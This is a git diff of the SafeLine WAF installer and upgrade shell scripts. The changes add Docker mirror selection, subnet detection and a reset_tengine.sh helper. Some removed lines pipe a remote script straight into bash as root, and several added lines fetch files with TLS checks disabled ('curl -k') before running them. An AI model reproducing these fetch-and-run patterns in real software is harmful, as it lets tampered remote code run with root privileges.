|
||||
if ! is_dry_run; then
|
||||
cat >&2 <<-'EOF'
|
||||
WARNING!!
|
||||
openSUSE repository (https://download.opensuse.org/repositories/security:/SELinux) will be enabled now.
|
||||
Do you wish to continue?
|
||||
You may press Ctrl+C now to abort this script.
|
||||
EOF
|
||||
( set -x; sleep 30 )
|
||||
fi
|
||||
opensuse_repo="https://download.opensuse.org/repositories/security:/SELinux/openSUSE_Factory/security:SELinux.repo"
|
||||
$sh_c "zypper addrepo $opensuse_repo"
|
||||
$sh_c "zypper --gpg-auto-import-keys refresh"
|
||||
$sh_c "zypper lr -d"
|
||||
)
|
||||
pkg_version=""
|
||||
if [ -n "$VERSION" ]; then
|
||||
if is_dry_run; then
|
||||
echo "# WARNING: VERSION pinning is not supported in DRY_RUN"
|
||||
else
|
||||
pkg_pattern="$(echo "$VERSION" | sed 's/-ce-/\\\\.ce.*/g' | sed 's/-/.*/g')"
|
||||
search_command="zypper search -s --match-exact 'docker-ce' | grep '$pkg_pattern' | tail -1 | awk '{print \$6}'"
|
||||
pkg_version="$($sh_c "$search_command")"
|
||||
echo "INFO: Searching repository for VERSION '$VERSION'"
|
||||
echo "INFO: $search_command"
|
||||
if [ -z "$pkg_version" ]; then
|
||||
echo
|
||||
echo "ERROR: '$VERSION' not found amongst zypper list results"
|
||||
echo
|
||||
exit 1
|
||||
fi
|
||||
search_command="zypper search -s --match-exact 'docker-ce-cli' | grep '$pkg_pattern' | tail -1 | awk '{print \$6}'"
|
||||
# It's okay for cli_pkg_version to be blank, since older versions don't support a cli package
|
||||
cli_pkg_version="$($sh_c "$search_command")"
|
||||
pkg_version="-$pkg_version"
|
||||
fi
|
||||
fi
|
||||
(
|
||||
pkgs="docker-ce$pkg_version"
|
||||
if version_gte "18.09"; then
|
||||
if [ -n "$cli_pkg_version" ]; then
|
||||
# older versions didn't ship the cli and containerd as separate packages
|
||||
pkgs="$pkgs docker-ce-cli-$cli_pkg_version containerd.io"
|
||||
else
|
||||
pkgs="$pkgs docker-ce-cli containerd.io"
|
||||
fi
|
||||
fi
|
||||
if version_gte "20.10"; then
|
||||
pkgs="$pkgs docker-compose-plugin docker-ce-rootless-extras$pkg_version"
|
||||
fi
|
||||
if version_gte "23.0"; then
|
||||
pkgs="$pkgs docker-buildx-plugin"
|
||||
fi
|
||||
if ! is_dry_run; then
|
||||
set -x
|
||||
fi
|
||||
$sh_c "zypper -q install -y $pkgs"
|
||||
)
|
||||
echo_docker_as_nonroot
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
if [ -z "$lsb_dist" ]; then
|
||||
if is_darwin; then
|
||||
echo
|
||||
echo "ERROR: Unsupported operating system 'macOS'"
|
||||
echo "Please get Docker Desktop from https://www.docker.com/products/docker-desktop"
|
||||
echo
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
echo
|
||||
echo "ERROR: Unsupported distribution '$lsb_dist'"
|
||||
echo
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
exit 1
|
||||
}
|
||||
|
||||
# wrapped up in a function so that we have some protection against only getting
|
||||
# half the file during "curl | sh"
|
||||
do_install
|
||||
33
release/latest/reset_tengine.sh
Normal file
@@ -0,0 +1,33 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -e
|
||||
|
||||
SCRIPT_DIR=$(dirname "$0")
|
||||
|
||||
confirm() {
|
||||
echo -e -n "\033[34m[SafeLine] $* \033[1;36m(Y/n)\033[0m"
|
||||
read -n 1 -s opt
|
||||
|
||||
[[ "$opt" == $'\n' ]] || echo
|
||||
|
||||
case "$opt" in
|
||||
'y' | 'Y' ) return 0;;
|
||||
'n' | 'N' ) return 1;;
|
||||
*) confirm "$1";;
|
||||
esac
|
||||
}
|
||||
|
||||
if ! confirm "是否重新生成 tengine 的所有配置"; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if [ ! -d "${SCRIPT_DIR}/resources/nginx" ]; then
|
||||
echo "website dir not found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
mv "${SCRIPT_DIR}"/resources/nginx "${SCRIPT_DIR}"/resources/nginx."$(date +%s)"
|
||||
|
||||
docker restart safeline-tengine > /dev/null
|
||||
|
||||
docker exec safeline-mgt gentenginewebsite
|
||||
@@ -9,7 +9,6 @@ echo "
|
||||
"
|
||||
|
||||
export STREAM=${STREAM:-0}
|
||||
export CDN=${CDN:-1}
|
||||
|
||||
qrcode() {
|
||||
echo "█████████████████████████████████████████"
|
||||
@@ -38,39 +37,6 @@ qrcode() {
|
||||
echo "微信扫描上方二维码加入雷池项目讨论组"
|
||||
}
|
||||
|
||||
command_exists() {
|
||||
command -v "$1" 2>&1
|
||||
}
|
||||
|
||||
check_container_health() {
|
||||
local container_name=$1
|
||||
local max_retry=30
|
||||
local retry=0
|
||||
local health_status="unhealthy"
|
||||
echo "Waiting for $container_name to be healthy"
|
||||
while [[ "$health_status" == "unhealthy" && $retry -lt $max_retry ]]; do
|
||||
health_status=$(docker inspect --format='{{.State.Health.Status}}' $container_name 2>/dev/null || echo 'unhealthy')
|
||||
sleep 1
|
||||
retry=$((retry+1))
|
||||
done
|
||||
if [[ "$health_status" == "unhealthy" ]]; then
|
||||
abort "Container $container_name is unhealthy"
|
||||
fi
|
||||
echo "Container $container_name is healthy"
|
||||
}
|
||||
|
||||
space_left() {
|
||||
dir="$1"
|
||||
while [ ! -d "$dir" ]; do
|
||||
dir=`dirname "$dir"`;
|
||||
done
|
||||
echo `df -h "$dir" --output='avail' | tail -n 1`
|
||||
}
|
||||
|
||||
start_docker() {
|
||||
systemctl start docker && systemctl enable docker
|
||||
}
|
||||
|
||||
confirm() {
|
||||
echo -e -n "\033[34m[SafeLine] $* \033[1;36m(Y/n)\033[0m"
|
||||
read -n 1 -s opt
|
||||
@@ -98,88 +64,199 @@ abort() {
|
||||
exit 1
|
||||
}
|
||||
|
||||
command_exists() {
|
||||
command -v "$1" 2>&1
|
||||
}
|
||||
|
||||
check_container_health() {
|
||||
local container_name=$1
|
||||
local max_retry=30
|
||||
local retry=0
|
||||
local health_status="unhealthy"
|
||||
info "Waiting for $container_name to be healthy"
|
||||
while [[ "$health_status" == "unhealthy" && $retry -lt $max_retry ]]; do
|
||||
health_status=$(docker inspect --format='{{.State.Health.Status}}' $container_name 2>/dev/null || info 'unhealthy')
|
||||
sleep 5
|
||||
retry=$((retry+1))
|
||||
done
|
||||
if [[ "$health_status" == "unhealthy" ]]; then
|
||||
abort "Container $container_name is unhealthy"
|
||||
fi
|
||||
info "Container $container_name is healthy"
|
||||
}
|
||||
|
||||
space_left() {
|
||||
dir="$1"
|
||||
while [ ! -d "$dir" ]; do
|
||||
dir=`dirname "$dir"`;
|
||||
done
|
||||
echo `df -h "$dir" --output='avail' | tail -n 1`
|
||||
}
|
||||
|
||||
local_ips() {
|
||||
if [ -z `command_exists ip` ]; then
|
||||
ip_cmd="ip addr show"
|
||||
else
|
||||
ip_cmd="ifconfig -a"
|
||||
fi
|
||||
|
||||
echo $($ip_cmd | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | awk '{print $2}')
|
||||
}
|
||||
|
||||
get_average_delay() {
|
||||
local source=$1
|
||||
local total_delay=0
|
||||
local iterations=3
|
||||
|
||||
for ((i = 0; i < iterations; i++)); do
|
||||
# check timeout
|
||||
if ! curl -o /dev/null -m 1 -s -w "%{http_code}\n" "$source" > /dev/null; then
|
||||
delay=999
|
||||
else
|
||||
delay=$(curl -o /dev/null -s -w "%{time_total}\n" "$source")
|
||||
fi
|
||||
total_delay=$(awk "BEGIN {print $total_delay + $delay}")
|
||||
done
|
||||
|
||||
average_delay=$(awk "BEGIN {print $total_delay / $iterations}")
|
||||
echo "$average_delay"
|
||||
}
|
||||
|
||||
install_docker() {
|
||||
curl -fsSL "https://waf-ce.chaitin.cn/release/latest/get-docker.sh" -o get-docker.sh
|
||||
sources=(
|
||||
"https://mirrors.aliyun.com/docker-ce"
|
||||
"https://mirrors.tencent.com/docker-ce"
|
||||
"https://download.docker.com"
|
||||
)
|
||||
min_delay=${#sources[@]}
|
||||
selected_source=""
|
||||
for source in "${sources[@]}"; do
|
||||
average_delay=$(get_average_delay "$source")
|
||||
echo "source: $source, delay: $average_delay"
|
||||
if (( $(awk 'BEGIN { print '"$average_delay"' < '"$min_delay"' }') )); then
|
||||
min_delay=$average_delay
|
||||
selected_source=$source
|
||||
fi
|
||||
done
|
||||
|
||||
echo "selected source: $selected_source"
|
||||
export DOWNLOAD_URL="$selected_source"
|
||||
bash get-docker.sh
|
||||
|
||||
start_docker
|
||||
docker version > /dev/null 2>&1
|
||||
if [ $? -ne "0" ]; then
|
||||
echo "Docker 安装失败, 请检查网络连接或手动安装 Docker"
|
||||
echo "参考文档: https://docs.docker.com/engine/install/"
|
||||
abort "Docker 安装失败"
|
||||
fi
|
||||
info "Docker 安装成功"
|
||||
}
|
||||
|
||||
start_docker() {
|
||||
systemctl enable docker
|
||||
systemctl daemon-reload
|
||||
systemctl start docker
|
||||
}
|
||||
|
||||
check_depend() {
|
||||
# CPU ssse3 指令集检查
|
||||
support_ssse3=1
|
||||
lscpu | grep ssse3 > /dev/null 2>&1
|
||||
if [ $? -ne "0" ]; then
|
||||
echo "not found info in lscpu"
|
||||
support_ssse3=0
|
||||
fi
|
||||
cat /proc/cpuinfo | grep ssse3 > /dev/null 2>&1
|
||||
if [ $support_ssse3 -eq "0" -a $? -ne "0" ]; then
|
||||
abort "雷池需要运行在支持 ssse3 指令集的 CPU 上,虚拟机请自行配置开启 CPU ssse3 指令集支持"
|
||||
fi
|
||||
if [ -z "$BASH" ]; then
|
||||
abort "请用 bash 执行本脚本,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
|
||||
fi
|
||||
|
||||
if [ ! -t 0 ]; then
|
||||
abort "STDIN 不是标准的输入设备,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
|
||||
fi
|
||||
|
||||
if [ "$EUID" -ne "0" ]; then
|
||||
abort "请以 root 权限运行"
|
||||
fi
|
||||
|
||||
if [ -z `command_exists docker` ]; then
|
||||
warning "缺少 Docker 环境"
|
||||
if confirm "是否需要自动安装 Docker"; then
|
||||
install_docker
|
||||
else
|
||||
abort "中止安装"
|
||||
fi
|
||||
fi
|
||||
|
||||
info "发现 Docker 环境: '`command -v docker`'"
|
||||
|
||||
docker version > /dev/null 2>&1
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker 服务工作异常"
|
||||
fi
|
||||
|
||||
compose_command="docker compose"
|
||||
if $compose_command version; then
|
||||
info "发现 Docker Compose Plugin"
|
||||
else
|
||||
warning "未发现 Docker Compose Plugin"
|
||||
if confirm "是否需要自动安装 Docker Compose Plugin"; then
|
||||
install_docker
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker Compose Plugin 安装失败"
|
||||
fi
|
||||
info "Docker Compose Plugin 安装完成"
|
||||
else
|
||||
abort "中止安装"
|
||||
fi
|
||||
fi
|
||||
|
||||
# check docker compose support -d
|
||||
if ! $compose_command up -d --help > /dev/null 2>&1; then
|
||||
warning "Docker Compose Plugin 不支持 '-d' 参数"
|
||||
if confirm "是否需要自动升级 Docker Compose Plugin"; then
|
||||
install_docker
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker Compose Plugin 升级失败"
|
||||
fi
|
||||
info "Docker Compose Plugin 升级完成"
|
||||
else
|
||||
abort "中止安装"
|
||||
fi
|
||||
fi
|
||||
|
||||
start_docker
|
||||
|
||||
info "安装环境确认正常"
|
||||
}
|
||||
|
||||
trap 'onexit' INT
|
||||
onexit() {
|
||||
echo
|
||||
abort "用户手动结束安装"
|
||||
}
|
||||
|
||||
# CPU ssse3 指令集检查
|
||||
support_ssse3=1
|
||||
lscpu | grep ssse3 > /dev/null 2>&1
|
||||
if [ $? -ne "0" ]; then
|
||||
echo "not found info in lscpu"
|
||||
support_ssse3=0
|
||||
fi
|
||||
check_depend
|
||||
|
||||
cat /proc/cpuinfo | grep ssse3 > /dev/null 2>&1
|
||||
if [ $support_ssse3 -eq "0" -a $? -ne "0" ]; then
|
||||
abort "雷池需要运行在支持 ssse3 指令集的 CPU 上,虚拟机请自行配置开启 CPU ssse3 指令集支持"
|
||||
fi
|
||||
docker network rm safeline-ce 2>/dev/null
|
||||
|
||||
ips=`local_ips`
|
||||
subnets="172.22.222 169.254.222 192.168.222"
|
||||
|
||||
for subnet in $subnets; do
|
||||
if [[ $ips != *$subnet* ]]; then
|
||||
SUBNET_PREFIX=$subnet
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
safeline_path='/data/safeline'
|
||||
|
||||
if [ -z "$BASH" ]; then
|
||||
abort "请用 bash 执行本脚本,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
|
||||
fi
|
||||
|
||||
if [ ! -t 0 ]; then
|
||||
abort "STDIN 不是标准的输入设备,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
|
||||
fi
|
||||
|
||||
if [ "$#" -ne "0" ]; then
|
||||
abort "当前脚本无需任何参数,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
|
||||
fi
|
||||
|
||||
if [ "$EUID" -ne "0" ]; then
|
||||
abort "请以 root 权限运行"
|
||||
fi
|
||||
info "脚本调用方式确认正常"
|
||||
|
||||
if [ -z `command_exists docker` ]; then
|
||||
warning "缺少 Docker 环境"
|
||||
if confirm "是否需要自动安装 Docker"; then
|
||||
curl -sSLk https://get.docker.com/ | bash
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker 安装失败"
|
||||
fi
|
||||
info "Docker 安装完成"
|
||||
else
|
||||
abort "中止安装"
|
||||
fi
|
||||
fi
|
||||
info "发现 Docker 环境: '`command -v docker`'"
|
||||
|
||||
start_docker
|
||||
docker version > /dev/null 2>&1
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker 服务工作异常"
|
||||
fi
|
||||
info "Docker 工作状态正常"
|
||||
|
||||
compose_command="docker compose"
|
||||
if $compose_command version; then
|
||||
info "发现 Docker Compose Plugin"
|
||||
else
|
||||
warning "未发现 Docker Compose Plugin"
|
||||
compose_command="docker-compose"
|
||||
if [ -z `command_exists "docker-compose"` ]; then
|
||||
warning "未发现 docker-compose 组件"
|
||||
if confirm "是否需要自动安装 Docker Compose Plugin"; then
|
||||
curl -sSLk https://get.docker.com/ | bash
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker Compose Plugin 安装失败"
|
||||
fi
|
||||
info "Docker Compose Plugin 安装完成"
|
||||
compose_command="docker compose"
|
||||
else
|
||||
abort "中止安装"
|
||||
fi
|
||||
else
|
||||
info "发现 docker-compose 组件: '`command -v docker-compose`'"
|
||||
fi
|
||||
fi
|
||||
|
||||
while true; do
|
||||
echo -e -n "\033[34m[SafeLine] 雷池安装目录 (留空则为 '$safeline_path'): \033[0m"
|
||||
read input_path
|
||||
@@ -210,6 +287,7 @@ info "创建安装目录 '$safeline_path' 成功"
|
||||
cd "$safeline_path"
|
||||
|
||||
curl "https://waf-ce.chaitin.cn/release/latest/compose.yaml" -sSLk -o compose.yaml
|
||||
curl "https://waf-ce.chaitin.cn/release/latest/reset_tengine.sh" -sSLk -o reset_tengine.sh
|
||||
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "下载 compose.yaml 脚本失败"
|
||||
@@ -232,7 +310,16 @@ fi
|
||||
|
||||
echo "MGT_PORT=9443" >> .env
|
||||
echo "POSTGRES_PASSWORD=$(LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c 32)" >> .env
|
||||
echo "SUBNET_PREFIX=172.22.222" >> .env
|
||||
echo "SUBNET_PREFIX=$SUBNET_PREFIX" >> .env
|
||||
|
||||
if [ -z "$CDN" ]; then
|
||||
if ping -c 1 -W 1 docker.com > /dev/null 2>&1; then
|
||||
CDN=0
|
||||
else
|
||||
CDN=1
|
||||
echo "检测到你的网络环境不支持直接访问 Docker Hub, 镜像将从华为云镜像仓库下载"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ $CDN -eq 0 ]; then
|
||||
echo "IMAGE_PREFIX=chaitin" >>".env"
|
||||
@@ -256,4 +343,6 @@ docker exec safeline-mgt /app/mgt-cli reset-admin --once
|
||||
|
||||
warning "雷池 WAF 社区版安装成功,请访问以下地址访问控制台"
|
||||
warning "https://0.0.0.0:9443/"
|
||||
|
||||
for ip in $ips; do
|
||||
warning https://$ip:9443/
|
||||
done
|
||||
|
||||
@@ -9,7 +9,6 @@ echo "
|
||||
"
|
||||
|
||||
export STREAM=${STREAM:-0}
|
||||
export CDN=${CDN:-1}
|
||||
|
||||
echo $1
|
||||
|
||||
@@ -54,7 +53,7 @@ check_container_health() {
|
||||
echo "Waiting for $container_name to be healthy"
|
||||
while [[ "$health_status" == "unhealthy" && $retry -lt $max_retry ]]; do
|
||||
health_status=$(docker inspect --format='{{.State.Health.Status}}' $container_name 2>/dev/null || echo 'unhealthy')
|
||||
sleep 1
|
||||
sleep 5
|
||||
retry=$((retry+1))
|
||||
done
|
||||
if [[ "$health_status" == "unhealthy" ]]; then
|
||||
@@ -93,6 +92,7 @@ warning() {
|
||||
}
|
||||
|
||||
abort() {
|
||||
mv $compose_name.old $compose_name 2>/dev/null || true
|
||||
qrcode
|
||||
echo -e "\033[31m[SafeLine] $*\033[0m"
|
||||
exit 1
|
||||
@@ -104,86 +104,153 @@ onexit() {
|
||||
abort "用户手动结束升级"
|
||||
}
|
||||
|
||||
# CPU ssse3 指令集检查
|
||||
support_ssse3=1
|
||||
lscpu | grep ssse3 >/dev/null 2>&1
|
||||
if [ $? -ne "0" ]; then
|
||||
echo "not found info in lscpu"
|
||||
support_ssse3=0
|
||||
fi
|
||||
get_average_delay() {
|
||||
local source=$1
|
||||
local total_delay=0
|
||||
local iterations=3
|
||||
|
||||
cat /proc/cpuinfo | grep ssse3 >/dev/null 2>&1
|
||||
if [ $support_ssse3 -eq "0" -a $? -ne "0" ]; then
|
||||
abort "雷池需要运行在支持 ssse3 指令集的 CPU 上,虚拟机请自行配置开启 CPU ssse3 指令集支持"
|
||||
fi
|
||||
|
||||
if [ -z "$BASH" ]; then
|
||||
abort "请用 bash 执行本脚本, 请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
|
||||
fi
|
||||
|
||||
if [ ! -t 0 ]; then
|
||||
abort "STDIN 不是标准的输入设备, 请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
|
||||
fi
|
||||
|
||||
if [ "$#" -ne "0" ]; then
|
||||
abort "当前脚本无需任何参数, 请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
|
||||
fi
|
||||
|
||||
if [ "$EUID" -ne "0" ]; then
|
||||
abort "请以 root 权限运行"
|
||||
fi
|
||||
info "脚本调用方式确认正常"
|
||||
|
||||
if [ -z $(command_exists docker) ]; then
|
||||
warning "缺少 Docker 环境"
|
||||
if confirm "是否需要自动安装 Docker"; then
|
||||
curl -sSLk https://get.docker.com/ | bash
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker 安装失败"
|
||||
for ((i = 0; i < iterations; i++)); do
|
||||
# check timeout
|
||||
if ! curl -o /dev/null -m 1 -s -w "%{http_code}\n" "$source" > /dev/null; then
|
||||
delay=999
|
||||
else
|
||||
delay=$(curl -o /dev/null -s -w "%{time_total}\n" "$source")
|
||||
fi
|
||||
info "Docker 安装完成"
|
||||
else
|
||||
abort "中止安装"
|
||||
total_delay=$(awk "BEGIN {print $total_delay + $delay}")
|
||||
done
|
||||
|
||||
average_delay=$(awk "BEGIN {print $total_delay / $iterations}")
|
||||
echo "$average_delay"
|
||||
}
|
||||
|
||||
install_docker() {
|
||||
curl -fsSL "https://waf-ce.chaitin.cn/release/latest/get-docker.sh" -o get-docker.sh
|
||||
sources=(
|
||||
"https://mirrors.aliyun.com/docker-ce"
|
||||
"https://mirrors.tencent.com/docker-ce"
|
||||
"https://download.docker.com"
|
||||
)
|
||||
min_delay=${#sources[@]}
|
||||
selected_source=""
|
||||
for source in "${sources[@]}"; do
|
||||
average_delay=$(get_average_delay "$source")
|
||||
echo "source: $source, delay: $average_delay"
|
||||
if (( $(awk 'BEGIN { print '"$average_delay"' < '"$min_delay"' }') )); then
|
||||
min_delay=$average_delay
|
||||
selected_source=$source
|
||||
fi
|
||||
done
|
||||
|
||||
echo "selected source: $selected_source"
|
||||
export DOWNLOAD_URL="$selected_source"
|
||||
bash get-docker.sh
|
||||
|
||||
start_docker
|
||||
docker version > /dev/null 2>&1
|
||||
if [ $? -ne "0" ]; then
|
||||
echo "Docker 安装失败, 请检查网络连接或手动安装 Docker"
|
||||
echo "参考文档: https://docs.docker.com/engine/install/"
|
||||
abort "Docker 安装失败"
|
||||
fi
|
||||
fi
|
||||
info "发现 Docker 环境: '$(command -v docker)'"
|
||||
info "Docker 安装成功"
|
||||
}
|
||||
|
||||
docker version >/dev/null 2>&1
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker 服务工作异常"
|
||||
fi
|
||||
info "Docker 工作状态正常"
|
||||
start_docker() {
|
||||
echo "start docker"
|
||||
systemctl enable docker
|
||||
systemctl daemon-reload
|
||||
systemctl start docker
|
||||
}
|
||||
|
||||
compose_command="docker compose"
|
||||
if $compose_command version; then
|
||||
info "发现 Docker Compose Plugin"
|
||||
else
|
||||
warning "未发现 Docker Compose Plugin"
|
||||
compose_command="docker-compose"
|
||||
if [ -z $(command_exists "docker-compose") ]; then
|
||||
warning "未发现 docker-compose 组件"
|
||||
if confirm "是否需要自动安装 Docker Compose Plugin"; then
|
||||
curl -sSLk https://get.docker.com/ | bash
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker Compose Plugin 安装失败"
|
||||
fi
|
||||
info "Docker Compose Plugin 安装完成"
|
||||
compose_command="docker compose"
|
||||
check_depend() {
|
||||
# CPU ssse3 指令集检查
|
||||
support_ssse3=1
|
||||
lscpu | grep ssse3 > /dev/null 2>&1
|
||||
if [ $? -ne "0" ]; then
|
||||
echo "not found info in lscpu"
|
||||
support_ssse3=0
|
||||
fi
|
||||
cat /proc/cpuinfo | grep ssse3 > /dev/null 2>&1
|
||||
if [ $support_ssse3 -eq "0" -a $? -ne "0" ]; then
|
||||
abort "雷池需要运行在支持 ssse3 指令集的 CPU 上,虚拟机请自行配置开启 CPU ssse3 指令集支持"
|
||||
fi
|
||||
if [ -z "$BASH" ]; then
|
||||
abort "请用 bash 执行本脚本,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
|
||||
fi
|
||||
|
||||
if [ ! -t 0 ]; then
|
||||
abort "STDIN 不是标准的输入设备,请参考最新的官方技术文档 https://waf-ce.chaitin.cn/"
|
||||
fi
|
||||
|
||||
if [ "$EUID" -ne "0" ]; then
|
||||
abort "请以 root 权限运行"
|
||||
fi
|
||||
|
||||
if [ -z `command_exists docker` ]; then
|
||||
warning "缺少 Docker 环境"
|
||||
if confirm "是否需要自动安装 Docker"; then
|
||||
install_docker
|
||||
else
|
||||
abort "中止安装"
|
||||
fi
|
||||
else
|
||||
info "发现 docker-compose 组件: '$(command -v docker-compose)'"
|
||||
fi
|
||||
fi
|
||||
|
||||
info "发现 Docker 环境: '`command -v docker`'"
|
||||
|
||||
docker version > /dev/null 2>&1
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker 服务工作异常"
|
||||
fi
|
||||
|
||||
compose_command="docker compose"
|
||||
if $compose_command version; then
|
||||
info "发现 Docker Compose Plugin"
|
||||
else
|
||||
compose_command="docker-compose"
|
||||
if $compose_command version; then
|
||||
info "发现 Docker Compose"
|
||||
else
|
||||
warning "未发现 Docker Compose"
|
||||
if confirm "是否需要自动安装 Docker Compose"; then
|
||||
install_docker
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker Compose 安装失败"
|
||||
fi
|
||||
info "Docker Compose 安装完成"
|
||||
else
|
||||
abort "中止安装"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
# check docker compose support -d
|
||||
if ! $compose_command up -d --help > /dev/null 2>&1; then
|
||||
warning "Docker Compose Plugin 不支持 '-d' 参数"
|
||||
if confirm "是否需要自动升级 Docker Compose Plugin"; then
|
||||
install_docker
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "Docker Compose Plugin 升级失败"
|
||||
fi
|
||||
info "Docker Compose Plugin 升级完成"
|
||||
else
|
||||
abort "中止安装"
|
||||
fi
|
||||
fi
|
||||
|
||||
start_docker
|
||||
|
||||
info "安装环境确认正常"
|
||||
}
|
||||
|
||||
check_depend
|
||||
|
||||
container_id=$(docker ps -n 1 --filter name=.*safeline-mgt.* --format '{{.ID}}')
|
||||
safeline_path=$(docker inspect --format '{{index .Config.Labels "com.docker.compose.project.working_dir"}}' $container_id)
|
||||
|
||||
while [ -z "$safeline_path" ]; do
|
||||
echo -e -n "\033[34m[SafeLine] 未发现正在运行的雷池,请输入雷池安装路径 (留空则为 '$(pwd)'): \033[0m"
|
||||
echo -e -n "\033[34m[SafeLine] 未发现正在运行的雷池,请输入雷池安装路径 (留空则为 '/data/safeline'): \033[0m"
|
||||
read input_path
|
||||
[[ -z "$input_path" ]] && input_path=$(pwd)
|
||||
[[ -z "$input_path" ]] && input_path='/data/safeline'
|
||||
|
||||
if [[ ! $input_path == /* ]]; then
|
||||
warning "'$input_path' 不是合法的绝对路径"
|
||||
@@ -195,23 +262,13 @@ done
|
||||
|
||||
cd "$safeline_path"
|
||||
|
||||
grep COLLIE .env >/dev/null 2>&1
|
||||
if [ $? -eq "0" ]; then
|
||||
abort "检测到你的环境通过牧云主机助手安装,请使用牧云主机助手-应用市场进行升级."
|
||||
fi
|
||||
|
||||
compose_name=$(ls docker-compose.yaml compose.yaml 2>/dev/null)
|
||||
compose_path=$safeline_path/$compose_name
|
||||
|
||||
if [ -f "$compose_path" ]; then
|
||||
info "发现位于 '$safeline_path' 的雷池环境"
|
||||
else
|
||||
abort "没有发现位于 $safeline_path 的雷池环境"
|
||||
fi
|
||||
|
||||
mv $compose_name $compose_name.old
|
||||
mv $compose_name $compose_name.old || true
|
||||
|
||||
curl "https://waf-ce.chaitin.cn/release/latest/compose.yaml" -sSLk -o $compose_name
|
||||
curl "https://waf-ce.chaitin.cn/release/latest/reset_tengine.sh" -sSLk -o reset_tengine.sh
|
||||
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "下载 compose.yaml 脚本失败"
|
||||
@@ -236,6 +293,14 @@ grep "MGT_PORT" ".env" >/dev/null || echo "MGT_PORT=9443" >>".env"
|
||||
grep "POSTGRES_PASSWORD" ".env" >/dev/null || echo "POSTGRES_PASSWORD=$(LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c 32)" >>".env"
|
||||
grep "SUBNET_PREFIX" ".env" >/dev/null || echo "SUBNET_PREFIX=172.22.222" >>".env"
|
||||
|
||||
if [ -z "$CDN" ]; then
|
||||
if ping -c 1 -W 1 docker.com > /dev/null 2>&1; then
|
||||
CDN=0
|
||||
else
|
||||
CDN=1
|
||||
echo "检测到你的网络环境不支持直接访问 Docker Hub, 镜像将从华为云镜像仓库下载"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ $CDN -eq 0 ]; then
|
||||
sed -i "s/IMAGE_PREFIX=.*/IMAGE_PREFIX=chaitin/g" ".env"
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
{
|
||||
"latest_version": "v5.3.0",
|
||||
"rec_version": "v5.2.0"
|
||||
"latest_version": "v6.2.0",
|
||||
"rec_version": "v6.2.0"
|
||||
}
|
||||